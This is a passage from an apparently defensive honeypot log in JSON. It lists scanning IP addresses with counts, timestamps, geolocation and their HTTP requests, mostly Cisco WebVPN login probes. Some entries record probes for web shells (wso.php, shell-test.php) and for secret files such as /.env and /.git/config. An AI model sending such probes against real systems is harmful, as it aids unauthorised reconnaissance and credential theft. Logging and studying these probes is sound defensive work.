      "last_seen": "2026-04-27T19:23:26.011Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.159.216.188": {
      "attack_count": 18,
      "first_seen": "2026-04-08T20:27:10.289Z",
      "last_seen": "2026-04-28T02:40:44.797Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.90.31": {
      "attack_count": 18,
      "first_seen": "2026-04-11T03:27:41.409Z",
      "last_seen": "2026-04-29T20:24:55.404Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.58": {
      "attack_count": 18,
      "first_seen": "2026-04-08T10:32:23.388Z",
      "last_seen": "2026-04-23T16:36:15.914Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.102.61": {
      "attack_count": 17,
      "first_seen": "2026-04-13T08:04:28.713Z",
      "last_seen": "2026-04-29T12:49:16.110Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.106.231": {
      "attack_count": 17,
      "first_seen": "2026-04-12T00:45:41.521Z",
      "last_seen": "2026-04-25T07:32:55.774Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "172.120.63.106": {
      "attack_count": 16,
      "first_seen": "2026-04-13T03:24:03.959Z",
      "last_seen": "2026-04-13T16:30:41.065Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "103.102.246.49": {
      "attack_count": 15,
      "first_seen": "2026-04-13T14:03:23.041Z",
      "last_seen": "2026-04-29T06:36:24.247Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "172.120.60.52": {
      "attack_count": 15,
      "first_seen": "2026-04-12T02:56:44.597Z",
      "last_seen": "2026-04-13T09:49:13.874Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "173.249.252.197": {
      "attack_count": 15,
      "first_seen": "2026-04-18T12:52:00.379Z",
      "last_seen": "2026-04-23T05:19:52.267Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.160.24.106": {
      "attack_count": 15,
      "first_seen": "2026-04-08T13:15:54.808Z",
      "last_seen": "2026-04-25T06:12:29.462Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.168.216.106": {
      "attack_count": 15,
      "first_seen": "2026-04-18T16:27:02.194Z",
      "last_seen": "2026-04-24T16:17:35.601Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "142.252.86.251": {
      "attack_count": 14,
      "first_seen": "2026-04-12T03:08:09.786Z",
      "last_seen": "2026-04-13T12:16:06.652Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "64.62.156.66": {
      "attack_count": 13,
      "first_seen": "2026-04-21T10:23:56.097Z",
      "last_seen": "2026-04-21T10:30:46.088Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "23.234.108.61": {
      "attack_count": 12,
      "first_seen": "2026-04-13T11:22:57.387Z",
      "last_seen": "2026-04-24T22:09:55.312Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.115.61": {
      "attack_count": 12,
      "first_seen": "2026-04-10T11:13:41.284Z",
      "last_seen": "2026-04-24T09:53:53.690Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.116.100": {
      "attack_count": 12,
      "first_seen": "2026-04-08T13:51:09.739Z",
      "last_seen": "2026-04-24T02:18:29.130Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.70.48": {
      "attack_count": 12,
      "first_seen": "2026-04-08T09:45:55.816Z",
      "last_seen": "2026-04-29T05:20:02.627Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.220.100.246": {
      "attack_count": 10,
      "first_seen": "2026-04-24T09:07:19.804Z",
      "last_seen": "2026-04-24T09:07:34.132Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/MeSSi.php?casd HTTP/1.1\" 404 -",
        "\"GET /_asterisk/sos.php?asdw HTTP/1.1\" 404 -",
        "\"GET /emad.php?45qw HTTP/1.1\" 404 -",
        "\"GET /recordings/.tika.php?2hj HTTP/1.1\" 404 -",
        "\"GET /recordings/lol.php?31asd HTTP/1.1\" 404 -",
        "\"GET /recordings/play_page.php?qwe HTTP/1.1\" 404 -",
        "\"GET /recordings/pos.php?ca HTTP/1.1\" 404 -",
        "\"GET /recordings/shell-test.php?vr HTTP/1.1\" 404 -",
        "\"GET /test.php?wqe HTTP/1.1\" 404 -",
        "\"GET /wso.php?a&a HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 205100,
      "as_org": "F3 Netze e.V."
    },
    "35.216.201.9": {
      "attack_count": 10,
      "first_seen": "2026-04-27T23:52:13.719Z",
      "last_seen": "2026-04-27T23:52:24.079Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.env HTTP/1.1\" 404 -",
        "\"GET /.git/config HTTP/1.1\" 404 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /info.php HTTP/1.1\" 404 -",
        "\"GET /server-status HTTP/1.1\" 404 -",
        "\"GET /telescope/requests HTTP/1.1\" 404 -",
        "\"HELP\" 400 -",
        "code 400"
      ],
      "usernames_attempted": [],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC"
    },
    "146.70.211.9": {
      "attack_count": 9,
      "first_seen": "2026-04-22T03:47:20.422Z",
      "last_seen": "2026-04-26T06:14:53.213Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.252.185": {
      "attack_count": 9,
      "first_seen": "2026-04-12T01:08:54.604Z",
      "last_seen": "2026-04-24T20:03:17.475Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.159.216.227": {
      "attack_count": 9,
      "first_seen": "2026-04-19T08:19:21.096Z",
      "last_seen": "2026-04-27T17:54:04.014Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.162.8.96": {
      "attack_count": 9,
      "first_seen": "2026-04-13T17:00:46.109Z",
      "last_seen": "2026-04-27T10:49:49.903Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 25737,
      "as_org": "Jone Broadband LLC"
    },
    "23.234.100.61": {
      "attack_count": 9,
      "first_seen": "2026-04-25T03:04:02.279Z",
      "last_seen": "2026-04-25T06:10:11.782Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.70.30": {
      "attack_count": 9,
      "first_seen": "2026-04-21T10:05:57.639Z",
      "last_seen": "2026-04-23T19:46:14.315Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.88.175": {
      "attack_count": 9,
      "first_seen": "2026-04-08T19:01:44.909Z",
      "last_seen": "2026-04-29T01:53:20.789Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.31": {
      "attack_count": 9,
      "first_seen": "2026-04-10T15:05:09.649Z",
      "last_seen": "2026-04-18T23:12:19.232Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.233": {
      "attack_count": 9,
      "first_seen": "2026-04-08T18:18:59.496Z",
      "last_seen": "2026-04-13T13:17:03.508Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.45": {
      "attack_count": 9,
      "first_seen": "2026-04-16T02:44:40.078Z",
      "last_seen": "2026-04-24T17:25:06.928Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.18": {
      "attack_count": 9,
      "first_seen": "2026-04-11T07:41:04.320Z",
      "last_seen": "2026-04-29T22:14:46.035Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "45.192.51.80": {
      "attack_count": 9,
      "first_seen": "2026-04-02T14:34:03.646Z",
      "last_seen": "2026-04-02T14:34:22.506Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202656,
      "as_org": "Ivanov Vitaliy Sergeevich"
    },
    "172.120.130.141": {
      "attack_count": 7,
      "first_seen": "2026-04-13T13:23:43.986Z",
      "last_seen": "2026-04-13T13:24:05.078Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.120.141.158": {
      "attack_count": 7,
      "first_seen": "2026-04-12T01:36:52.785Z",
      "last_seen": "2026-04-12T01:37:09.351Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "87.251.64.134": {
      "attack_count": 7,
      "first_seen": "2026-04-01T18:35:37.547Z",
      "last_seen": "2026-04-01T18:35:46.916Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /RDWeb/Pages/ HTTP/1.1\" 404 -",
        "\"GET /login HTTP/1.1\" 404 -",
        "\"GET /remote/login?lang=en HTTP/1.1\" 404 -",
        "\"GET /sslvpn_logon.shtml HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 200730,
      "as_org": "ISAEV Igor"
    },
    "103.102.247.175": {
      "attack_count": 6,
      "first_seen": "2026-04-22T11:17:57.535Z",
      "last_seen": "2026-04-29T03:29:00.824Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.251.26.31": {
      "attack_count": 6,
      "first_seen": "2026-04-13T15:57:18.844Z",
      "last_seen": "2026-04-29T13:53:29.811Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.251.27.106": {
      "attack_count": 6,
      "first_seen": "2026-04-18T02:04:46.218Z",
      "last_seen": "2026-04-18T02:20:18.891Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "108.181.56.75": {
      "attack_count": 6,
      "first_seen": "2026-04-07T10:24:41.130Z",
      "last_seen": "2026-04-08T06:02:45.830Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /RDWeb/ HTTP/1.1\" 404 -",
        "\"GET /cgi-bin/welcome HTTP/1.1\" 404 -",
        "\"GET /remote/login HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 40676,
      "as_org": "Psychz Networks"
    },
    "160.119.76.48": {
      "attack_count": 6,
      "first_seen": "2026-04-25T13:17:12.797Z",
      "last_seen": "2026-04-25T13:27:39.277Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V."
    },
    "173.249.253.170": {
      "attack_count": 6,
      "first_seen": "2026-04-27T19:17:14.733Z",
      "last_seen": "2026-04-30T02:48:17.333Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.253.71": {
      "attack_count": 6,
      "first_seen": "2026-04-10T13:17:13.120Z",
      "last_seen": "2026-04-27T15:18:31.685Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.255.170": {
      "attack_count": 6,
      "first_seen": "2026-04-11T07:57:58.890Z",
      "last_seen": "2026-04-18T09:32:22.877Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.141.119.143": {
      "attack_count": 6,
      "first_seen": "2026-04-08T21:48:14.214Z",
      "last_seen": "2026-04-08T23:41:57.986Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.107.45": {
      "attack_count": 6,
      "first_seen": "2026-04-08T13:49:56.614Z",
      "last_seen": "2026-04-16T06:57:55.222Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.110.100": {
      "attack_count": 6,
      "first_seen": "2026-04-18T02:20:56.909Z",
      "last_seen": "2026-04-19T08:35:48.490Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.233": {
      "attack_count": 6,
      "first_seen": "2026-04-23T17:13:52.596Z",
      "last_seen": "2026-04-25T09:04:43.433Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.195.38": {
      "attack_count": 6,
      "first_seen": "2026-04-22T04:52:37.236Z",
      "last_seen": "2026-04-22T04:53:15.298Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.195.51": {
      "attack_count": 6,
      "first_seen": "2026-04-19T15:47:23.945Z",
      "last_seen": "2026-04-19T15:48:01.042Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
